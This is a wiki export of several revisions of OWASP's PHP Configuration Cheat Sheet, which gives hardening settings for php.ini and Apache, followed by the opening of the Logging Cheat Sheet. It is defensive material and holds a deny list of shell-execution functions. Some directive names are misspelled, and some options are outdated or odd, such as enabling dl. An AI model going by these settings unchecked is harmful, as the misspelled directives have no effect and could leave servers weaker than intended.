= Related Cheat Sheets =

[[PHP_Security_Cheat_Sheet]]

= Authors and Primary Editors =

[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]

--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]

--[[User:Achim|Achim]], 30. November 2012

--[[User:Tony_Hsu_HsiangChih]]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Configuration Cheat Sheet

2018-03-12T03:32:49Z

Tony Hsu HsiangChih: --User:Tony_Hsu_HsiangChih [mailto: hsiang_chih@yahoo.com]

= Introduction =

This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.
====<center>..: Work in Progress :..</center>====
----

=Web Server Configuration=
==Apache==
===suPHP===
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.

=PHP Configuration and Deployment=
==suhosin==
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP.

==php.ini==
Note that some of following settings need to be adapted to your system, in particular <code style="background:#ddd">/path/</code> and <code style="background:#ddd">/application/</code>. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.

====PHP error handlling====
expose_php = Off
error_reporting = E_ALL
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /valid_path/PHP-logs/php_error.log
ignore_repeated_errors = Off

Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.

====PHP general settings====
doc_root = /path/DocumentRoot/PHP-scripts/
open_basedir = /path/DocumentRoot/PHP-scripts/
include_path = /path/PHP-pear/
extension_dir = /path/PHP-extensions/
mime_magic.magicfile = /path/PHP-magic.mime
allow_url_fopen = Off
allow_url_include = Off
variables_order = "GPSE"
allow_webdav_methods = Off
register_globals = Off
safe_mode = Off
session.gc_maxlifetime = 600
Allow_url_* prevents LFIs to be easily escalated to RFIs.

====PHP file upload handling====
file_uploads = On
upload_tmp_dir = /path/PHP-uploads/
upload_max_filesize = 2M
max_file_uploads = 2

It's a good idea to turn it off, if your application is not using file uploads.

====PHP executable handling====
enable_dl = On
disable_functions = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open
disable_functions = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file
disable_functions = chdir, mkdir, rmdir, chmod, rename
disable_functions = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo
# see also: http://ir.php.net/features.safe-mode
disable_classes =

These are dangerous PHP functions. You should disable all that you don't use.

====PHP session handling====
session.auto_start = Off
session.save_path = /path/PHP-session/
session.name = myPHPSESSID
session.hash_function = 1
session.hash_bits_per_character = 6
session.user_trans_sid = 0
session.cookie_domain = full.qualified.domain.name
#session.cookie_path = /application/path/
session.cookie_lifetime = 0
session.cookie_secure = On
session.cookie_httponly = 1
session.user_only_cookies= 1
session.cache_expire = 30
default_socket_timeout = 60

It is a good practice to change session.name to something new.

====some more security paranoid checks====
session.referer_check = /application/path
memory_limit = 8M
post_max_size = 8M
max_execution_time = 60
report_memleaks = On
track_errors = Off
html_errors = Off

====PHP Database Settings====
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}

====PHP Database User====
{{TBD: explain pros&cons what to set in php.ini and/or httpd.conf and/or registry}}

====PHP Windows specific Settings====
{{TBD:}}

====PHP Extension====
{{TBD:}}

= Related Cheat Sheets =

[[PHP_Security_Cheat_Sheet]]

= Authors and Primary Editors =

[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]

--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]

--[[User:Achim|Achim]], 30. November 2012

--[[User:Tony_Hsu_HsiangChih]] [mailto: hsiang_chih@yahoo.com]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Configuration Cheat Sheet

2018-03-12T03:30:23Z

Tony Hsu HsiangChih: session.gc_maxlifetime = 600

= Introduction =

This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.
====<center>..: Work in Progress :..</center>====
----

=Web Server Configuration=
==Apache==
===suPHP===
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.

=PHP Configuration and Deployment=
==suhosin==
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP.

==php.ini==
Note that some of following settings need to be adapted to your system, in particular <code style="background:#ddd">/path/</code> and <code style="background:#ddd">/application/</code>. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.

====PHP error handlling====
expose_php = Off
error_reporting = E_ALL
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /valid_path/PHP-logs/php_error.log
ignore_repeated_errors = Off

Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.

====PHP general settings====
doc_root = /path/DocumentRoot/PHP-scripts/
open_basedir = /path/DocumentRoot/PHP-scripts/
include_path = /path/PHP-pear/
extension_dir = /path/PHP-extensions/
mime_magic.magicfile = /path/PHP-magic.mime
allow_url_fopen = Off
allow_url_include = Off
variables_order = "GPSE"
allow_webdav_methods = Off
register_globals = Off
safe_mode = Off
session.gc_maxlifetime = 600
Allow_url_* prevents LFIs to be easily escalated to RFIs.

====PHP file upload handling====
file_uploads = On
upload_tmp_dir = /path/PHP-uploads/
upload_max_filesize = 2M
max_file_uploads = 2

It's a good idea to turn it off, if your application is not using file uploads.

====PHP executable handling====
enable_dl = On
disable_functions = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open
disable_functions = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file
disable_functions = chdir, mkdir, rmdir, chmod, rename
disable_functions = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo
# see also: http://ir.php.net/features.safe-mode
disable_classes =

These are dangerous PHP functions. You should disable all that you don't use.

====PHP session handling====
session.auto_start = Off
session.save_path = /path/PHP-session/
session.name = myPHPSESSID
session.hash_function = 1
session.hash_bits_per_character = 6
session.user_trans_sid = 0
session.cookie_domain = full.qualified.domain.name
#session.cookie_path = /application/path/
session.cookie_lifetime = 0
session.cookie_secure = On
session.cookie_httponly = 1
session.user_only_cookies= 1
session.cache_expire = 30
default_socket_timeout = 60

It is a good practice to change session.name to something new.

====some more security paranoid checks====
session.referer_check = /application/path
memory_limit = 8M
post_max_size = 8M
max_execution_time = 60
report_memleaks = On
track_errors = Off
html_errors = Off

====PHP Database Settings====
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}

====PHP Database User====
{{TBD: explain pros&cons what to set in php.ini and/or httpd.conf and/or registry}}

====PHP Windows specific Settings====
{{TBD:}}

====PHP Extension====
{{TBD:}}

= Related Cheat Sheets =

[[PHP_Security_Cheat_Sheet]]

= Authors and Primary Editors =

[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]

--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]

--[[User:Achim|Achim]], 30. November 2012

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Configuration Cheat Sheet

2018-03-12T03:29:14Z

Tony Hsu HsiangChih: session.user_trans_sid

= Introduction =

This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.
====<center>..: Work in Progress :..</center>====
----

=Web Server Configuration=
==Apache==
===suPHP===
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.

=PHP Configuration and Deployment=
==suhosin==
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP.

==php.ini==
Note that some of following settings need to be adapted to your system, in particular <code style="background:#ddd">/path/</code> and <code style="background:#ddd">/application/</code>. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.

====PHP error handlling====
expose_php = Off
error_reporting = E_ALL
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /valid_path/PHP-logs/php_error.log
ignore_repeated_errors = Off

Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.

====PHP general settings====
doc_root = /path/DocumentRoot/PHP-scripts/
open_basedir = /path/DocumentRoot/PHP-scripts/
include_path = /path/PHP-pear/
extension_dir = /path/PHP-extensions/
mime_magic.magicfile = /path/PHP-magic.mime
allow_url_fopen = Off
allow_url_include = Off
variables_order = "GPSE"
allow_webdav_methods = Off
register_globals = Off
safe_mode = Off
Allow_url_* prevents LFIs to be easily escalated to RFIs.

====PHP file upload handling====
file_uploads = On
upload_tmp_dir = /path/PHP-uploads/
upload_max_filesize = 2M
max_file_uploads = 2

It's a good idea to turn it off, if your application is not using file uploads.

====PHP executable handling====
enable_dl = On
disable_functions = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open
disable_functions = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file
disable_functions = chdir, mkdir, rmdir, chmod, rename
disable_functions = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo
# see also: http://ir.php.net/features.safe-mode
disable_classes =

These are dangerous PHP functions. You should disable all that you don't use.

====PHP session handling====
session.auto_start = Off
session.save_path = /path/PHP-session/
session.name = myPHPSESSID
session.hash_function = 1
session.hash_bits_per_character = 6
session.user_trans_sid = 0
session.cookie_domain = full.qualified.domain.name
#session.cookie_path = /application/path/
session.cookie_lifetime = 0
session.cookie_secure = On
session.cookie_httponly = 1
session.user_only_cookies= 1
session.cache_expire = 30
default_socket_timeout = 60

It is a good practice to change session.name to something new.

====some more security paranoid checks====
session.referer_check = /application/path
memory_limit = 8M
post_max_size = 8M
max_execution_time = 60
report_memleaks = On
track_errors = Off
html_errors = Off

====PHP Database Settings====
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}

====PHP Database User====
{{TBD: explain pros&cons what to set in php.ini and/or httpd.conf and/or registry}}

====PHP Windows specific Settings====
{{TBD:}}

====PHP Extension====
{{TBD:}}

= Related Cheat Sheets =

[[PHP_Security_Cheat_Sheet]]

= Authors and Primary Editors =

[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]

--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]

--[[User:Achim|Achim]], 30. November 2012

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Configuration Cheat Sheet

2018-03-12T03:28:54Z

Tony Hsu HsiangChih:

= Introduction =

This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.
====<center>..: Work in Progress :..</center>====
----

=Web Server Configuration=
==Apache==
===suPHP===
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.

=PHP Configuration and Deployment=
==suhosin==
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP.

==php.ini==
Note that some of following settings need to be adapted to your system, in particular <code style="background:#ddd">/path/</code> and <code style="background:#ddd">/application/</code>. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.

====PHP error handlling====
expose_php = Off
error_reporting = E_ALL
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /valid_path/PHP-logs/php_error.log
ignore_repeated_errors = Off

Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.

====PHP general settings====
doc_root = /path/DocumentRoot/PHP-scripts/
open_basedir = /path/DocumentRoot/PHP-scripts/
include_path = /path/PHP-pear/
extension_dir = /path/PHP-extensions/
mime_magic.magicfile = /path/PHP-magic.mime
allow_url_fopen = Off
allow_url_include = Off
variables_order = "GPSE"
allow_webdav_methods = Off
register_globals = Off
safe_mode = Off
Allow_url_* prevents LFIs to be easily escalated to RFIs.

====PHP file upload handling====
file_uploads = On
upload_tmp_dir = /path/PHP-uploads/
upload_max_filesize = 2M
max_file_uploads = 2

It's a good idea to turn it off, if your application is not using file uploads.

====PHP executable handling====
enable_dl = On
disable_functions = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open
disable_functions = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file
disable_functions = chdir, mkdir, rmdir, chmod, rename
disable_functions = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo
# see also: http://ir.php.net/features.safe-mode
disable_classes =

These are dangerous PHP functions. You should disable all that you don't use.

====PHP session handling====
session.auto_start = Off
session.save_path = /path/PHP-session/
session.name = myPHPSESSID
session.hash_function = 1
session.hash_bits_per_character = 6
session.use_trans_sid = 0
session.cookie_domain = full.qualified.domain.name
#session.cookie_path = /application/path/
session.cookie_lifetime = 0
session.cookie_secure = On
session.cookie_httponly = 1
session.user_only_cookies= 1
session.cache_expire = 30
default_socket_timeout = 60

It is a good practice to change session.name to something new.

====some more security paranoid checks====
session.referer_check = /application/path
memory_limit = 8M
post_max_size = 8M
max_execution_time = 60
report_memleaks = On
track_errors = Off
html_errors = Off

====PHP Database Settings====
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}

====PHP Database User====
{{TBD: explain pros&cons what to set in php.ini and/or httpd.conf and/or registry}}

====PHP Windows specific Settings====
{{TBD:}}

====PHP Extension====
{{TBD:}}

= Related Cheat Sheets =

[[PHP_Security_Cheat_Sheet]]

= Authors and Primary Editors =

[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]

--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]

--[[User:Achim|Achim]], 30. November 2012

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Configuration Cheat Sheet

2018-03-12T03:27:43Z

Tony Hsu HsiangChih:

= Introduction =

This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.
====<center>..: Work in Progress :..</center>====
----

=Web Server Configuration=
==Apache==
===suPHP===
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.

=PHP Configuration and Deployment=
==suhosin==
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP.

==php.ini==
Note that some of following settings need to be adapted to your system, in particular <code style="background:#ddd">/path/</code> and <code style="background:#ddd">/application/</code>. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.

====PHP error handlling====
expose_php = Off
error_reporting = E_ALL
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /valid_path/PHP-logs/php_error.log
ignore_repeated_errors = Off

Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.

====PHP general settings====
doc_root = /path/DocumentRoot/PHP-scripts/
open_basedir = /path/DocumentRoot/PHP-scripts/
include_path = /path/PHP-pear/
extension_dir = /path/PHP-extensions/
mime_magic.magicfile = /path/PHP-magic.mime
allow_url_fopen = Off
allow_url_include = Off
variables_order = "GPSE"
allow_webdav_methods = Off
register_globals = Off
safe_mode = Off
Allow_url_* prevents LFIs to be easily escalated to RFIs.

====PHP file upload handling====
file_uploads = On
upload_tmp_dir = /path/PHP-uploads/
upload_max_filesize = 2M
max_file_uploads = 2

It's a good idea to turn it off, if your application is not using file uploads.

====PHP executable handling====
enable_dl = On
disable_functions = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open
disable_functions = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file
disable_functions = chdir, mkdir, rmdir, chmod, rename
disable_functions = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo
# see also: http://ir.php.net/features.safe-mode
disable_classes =

These are dangerous PHP functions. You should disable all that you don't use.

====PHP session handling====
session.auto_start = Off
session.save_path = /path/PHP-session/
session.name = myPHPSESSID
session.hash_function = 1
session.hash_bits_per_character = 6
session.use_trans_sid = 0
session.cookie_domain = full.qualified.domain.name
#session.cookie_path = /application/path/
session.cookie_lifetime = 0
session.cookie_secure = On
session.cookie_httponly = 1
session.use_only_cookies= 1
session.cache_expire = 30
default_socket_timeout = 60

It is a good practice to change session.name to something new.

====some more security paranoid checks====
session.referer_check = /application/path
memory_limit = 8M
post_max_size = 8M
max_execution_time = 60
report_memleaks = On
track_errors = Off
html_errors = Off

====PHP Database Settings====
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}

====PHP Database User====
{{TBD: explain pros&cons what to set in php.ini and/or httpd.conf and/or registry}}

====PHP Windows specific Settings====
{{TBD:}}

====PHP Extension====
{{TBD:}}

= Related Cheat Sheets =

[[PHP_Security_Cheat_Sheet]]

= Authors and Primary Editors =

[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]

--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]

--[[User:Achim|Achim]], 30. November 2012

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Configuration Cheat Sheet

2018-03-12T03:27:10Z

Tony Hsu HsiangChih: register_globals

= Introduction =

This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.
====<center>..: Work in Progress :..</center>====
----

=Web Server Configuration=
==Apache==
===suPHP===
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.

=PHP Configuration and Deployment=
==suhosin==
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP.

==php.ini==
Note that some of following settings need to be adapted to your system, in particular <code style="background:#ddd">/path/</code> and <code style="background:#ddd">/application/</code>. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.

====PHP error handlling====
expose_php = Off
error_reporting = E_ALL
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /valid_path/PHP-logs/php_error.log
ignore_repeated_errors = Off

Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.

====PHP general settings====
doc_root = /path/DocumentRoot/PHP-scripts/
open_basedir = /path/DocumentRoot/PHP-scripts/
include_path = /path/PHP-pear/
extension_dir = /path/PHP-extensions/
mime_magic.magicfile = /path/PHP-magic.mime
allow_url_fopen = Off
allow_url_include = Off
variables_order = "GPSE"
allow_webdav_methods = Off
register_globals = Off

Allow_url_* prevents LFIs to be easily escalated to RFIs.

====PHP file upload handling====
file_uploads = On
upload_tmp_dir = /path/PHP-uploads/
upload_max_filesize = 2M
max_file_uploads = 2

It's a good idea to turn it off, if your application is not using file uploads.

====PHP executable handling====
enable_dl = On
disable_functions = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open
disable_functions = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file
disable_functions = chdir, mkdir, rmdir, chmod, rename
disable_functions = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo
# see also: http://ir.php.net/features.safe-mode
disable_classes =

These are dangerous PHP functions. You should disable all that you don't use.

====PHP session handling====
session.auto_start = Off
session.save_path = /path/PHP-session/
session.name = myPHPSESSID
session.hash_function = 1
session.hash_bits_per_character = 6
session.use_trans_sid = 0
session.cookie_domain = full.qualified.domain.name
#session.cookie_path = /application/path/
session.cookie_lifetime = 0
session.cookie_secure = On
session.cookie_httponly = 1
session.use_only_cookies= 1
session.cache_expire = 30
default_socket_timeout = 60

It is a good practice to change session.name to something new.

====some more security paranoid checks====
session.referer_check = /application/path
memory_limit = 8M
post_max_size = 8M
max_execution_time = 60
report_memleaks = On
track_errors = Off
html_errors = Off

====PHP Database Settings====
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}

====PHP Database User====
{{TBD: explain pros&cons what to set in php.ini and/or httpd.conf and/or registry}}

====PHP Windows specific Settings====
{{TBD:}}

====PHP Extension====
{{TBD:}}

= Related Cheat Sheets =

[[PHP_Security_Cheat_Sheet]]

= Authors and Primary Editors =

[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]

--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]

--[[User:Achim|Achim]], 30. November 2012

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Configuration Cheat Sheet

2018-03-12T03:26:19Z

Tony Hsu HsiangChih: post_max_size = 8M suggestions

= Introduction =

This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.
====<center>..: Work in Progress :..</center>====
----

=Web Server Configuration=
==Apache==
===suPHP===
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.

=PHP Configuration and Deployment=
==suhosin==
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP.

==php.ini==
Note that some of following settings need to be adapted to your system, in particular <code style="background:#ddd">/path/</code> and <code style="background:#ddd">/application/</code>. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.

====PHP error handlling====
expose_php = Off
error_reporting = E_ALL
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /valid_path/PHP-logs/php_error.log
ignore_repeated_errors = Off

Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.

====PHP general settings====
doc_root = /path/DocumentRoot/PHP-scripts/
open_basedir = /path/DocumentRoot/PHP-scripts/
include_path = /path/PHP-pear/
extension_dir = /path/PHP-extensions/
mime_magic.magicfile = /path/PHP-magic.mime
allow_url_fopen = Off
allow_url_include = Off
variables_order = "GPSE"
allow_webdav_methods = Off

Allow_url_* prevents LFIs to be easily escalated to RFIs.

====PHP file upload handling====
file_uploads = On
upload_tmp_dir = /path/PHP-uploads/
upload_max_filesize = 2M
max_file_uploads = 2

It's a good idea to turn it off, if your application is not using file uploads.

====PHP executable handling====
enable_dl = On
disable_functions = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open
disable_functions = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file
disable_functions = chdir, mkdir, rmdir, chmod, rename
disable_functions = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo
# see also: http://ir.php.net/features.safe-mode
disable_classes =

These are dangerous PHP functions. You should disable all that you don't use.

====PHP session handling====
session.auto_start = Off
session.save_path = /path/PHP-session/
session.name = myPHPSESSID
session.hash_function = 1
session.hash_bits_per_character = 6
session.use_trans_sid = 0
session.cookie_domain = full.qualified.domain.name
#session.cookie_path = /application/path/
session.cookie_lifetime = 0
session.cookie_secure = On
session.cookie_httponly = 1
session.use_only_cookies= 1
session.cache_expire = 30
default_socket_timeout = 60

It is a good practice to change session.name to something new.

====some more security paranoid checks====
session.referer_check = /application/path
memory_limit = 8M
post_max_size = 8M
max_execution_time = 60
report_memleaks = On
track_errors = Off
html_errors = Off

====PHP Database Settings====
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}

====PHP Database User====
{{TBD: explain pros&cons what to set in php.ini and/or httpd.conf and/or registry}}

====PHP Windows specific Settings====
{{TBD:}}

====PHP Extension====
{{TBD:}}

= Related Cheat Sheets =

[[PHP_Security_Cheat_Sheet]]

= Authors and Primary Editors =

[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]

--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]

--[[User:Achim|Achim]], 30. November 2012

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Configuration Cheat Sheet

2018-03-12T03:24:36Z

Tony Hsu HsiangChih: upload_max_filesize

= Introduction =

This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.
====<center>..: Work in Progress :..</center>====
----

=Web Server Configuration=
==Apache==
===suPHP===
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.

=PHP Configuration and Deployment=
==suhosin==
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP.

==php.ini==
Note that some of following settings need to be adapted to your system, in particular <code style="background:#ddd">/path/</code> and <code style="background:#ddd">/application/</code>. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.

====PHP error handlling====
expose_php = Off
error_reporting = E_ALL
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /valid_path/PHP-logs/php_error.log
ignore_repeated_errors = Off

Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.

====PHP general settings====
doc_root = /path/DocumentRoot/PHP-scripts/
open_basedir = /path/DocumentRoot/PHP-scripts/
include_path = /path/PHP-pear/
extension_dir = /path/PHP-extensions/
mime_magic.magicfile = /path/PHP-magic.mime
allow_url_fopen = Off
allow_url_include = Off
variables_order = "GPSE"
allow_webdav_methods = Off

Allow_url_* prevents LFIs to be easily escalated to RFIs.

====PHP file upload handling====
file_uploads = On
upload_tmp_dir = /path/PHP-uploads/
upload_max_filesize = 2M
max_file_uploads = 2

It's a good idea to turn it off, if your application is not using file uploads.

====PHP executable handling====
enable_dl = On
disable_functions = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open
disable_functions = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file
disable_functions = chdir, mkdir, rmdir, chmod, rename
disable_functions = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo
# see also: http://ir.php.net/features.safe-mode
disable_classes =

These are dangerous PHP functions. You should disable all that you don't use.

====PHP session handling====
session.auto_start = Off
session.save_path = /path/PHP-session/
session.name = myPHPSESSID
session.hash_function = 1
session.hash_bits_per_character = 6
session.use_trans_sid = 0
session.cookie_domain = full.qualified.domain.name
#session.cookie_path = /application/path/
session.cookie_lifetime = 0
session.cookie_secure = On
session.cookie_httponly = 1
session.use_only_cookies= 1
session.cache_expire = 30
default_socket_timeout = 60

It is a good practice to change session.name to something new.

====some more security paranoid checks====
session.referer_check = /application/path
memory_limit = 32M
post_max_size = 32M
max_execution_time = 60
report_memleaks = On
track_errors = Off
html_errors = Off

====PHP Database Settings====
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}

====PHP Database User====
{{TBD: explain pros&cons what to set in php.ini and/or httpd.conf and/or registry}}

====PHP Windows specific Settings====
{{TBD:}}

====PHP Extension====
{{TBD:}}

= Related Cheat Sheets =

[[PHP_Security_Cheat_Sheet]]

= Authors and Primary Editors =

[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]

--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]

--[[User:Achim|Achim]], 30. November 2012

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

Logging Cheat Sheet

2017-10-20T07:27:21Z

Tony Hsu HsiangChih: /* Related articles */

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}

This cheat sheet is focused on providing developers with concentrated guidance on building application logging mechanisms, especially related to security logging. Many systems enable network device, operating system, web server, mail server and database server logging, but often custom application event logging is missing, disabled or poorly configured. It provides much greater insight than infrastructure logging alone. Web application (e.g. web site or web service) logging is much more than having web server logs enabled (e.g. using Extended Log File Format).

Application logging should be consistent within the application, consistent across an organization's application portfolio and use industry standards where relevant, so the logged event data can be consumed, correlated, analyzed and managed by a wide variety of systems.

= Purpose =

Application logging should be always be included for security events. Application logs are invaluable data for:

* Identifying security incidents
* Monitoring policy violations
* Establishing baselines
* Assisting non-repudiation controls
* Providing information about problems and unusual conditions
* Contributing additional application-specific data for incident investigation which is lacking in other log sources
* Helping defend against vulnerability identification and exploitation through attack detection

Application logging might also be used to record other types of events too such as:

* Security events
* Business process monitoring e.g. sales process abandonment, transactions, connections
* Anti-automation monitoring
* Audit trails e.g. data addition, modification and deletion, data exports
* Performance monitoring e.g. data load time, page timeouts
* Compliance monitoring
* Data for subsequent requests for information e.g. data subject access, freedom of information, litigation, police and other regulatory investigations
* Legally sanctioned interception of data e.g application-layer wire-tapping
* Other business-specific requirements

